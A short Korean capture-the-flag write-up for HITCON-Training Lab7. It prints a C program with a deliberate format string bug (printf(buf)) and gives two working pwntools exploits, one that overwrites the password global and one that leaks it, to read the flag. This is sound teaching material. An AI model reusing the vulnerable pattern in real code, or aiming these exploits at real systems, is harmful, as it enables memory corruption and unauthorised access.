[HITCON-Training]Lab7

password 값만 맞춰주면 flag를 얻을 수 있는 문제다.

#include <stdio.h>
#include <unistd.h>
#include <time.h>
#include <stdlib.h>

unsigned int password ;

int main(){
	setvbuf(stdout,0,2,0);
	char buf[100];
	char input[16];
	int fd ;
	srand(time(NULL));
	fd = open("/dev/urandom",0);
	read(fd,&password,4);
	printf("What your name ? ");
	read(0,buf,99);
	printf("Hello ,");
	printf(buf);
	printf("Your password :");
	read(0,input,15);
	if(atoi(input) != password){
		puts("Goodbyte");
	}else{
		puts("Congrt!!");
		system("cat /home/crack/flag");
	}
}

첫 번째 방법은 password를 0으로 만들고 0을 입력해주면 된다.

from pwn import *

e = ELF('./crack')
p = process('./crack')

password = 0x0804A048
offset = 10
payload = fmtstr_payload(offset,{password:0})
p.sendlineafter('?',payload)
p.sendlineafter(':',p32(0))

p.interactive()

두 번째 방법은 password 값을 FSB 이용해서 leak해준 다음에 값 맞춰주면 된다.

from pwn import *

e = ELF('./crack')
p = process('./crack')
offset = 10
password = 0x0804a048
payload = p32(password) + '%10$s'
p.sendlineafter('? ',payload)
p.recvuntil(',')
p.recv(4)
real_pass = u32(p.recv(4))
p.sendlineafter(':',str(real_pass))
p.interactive()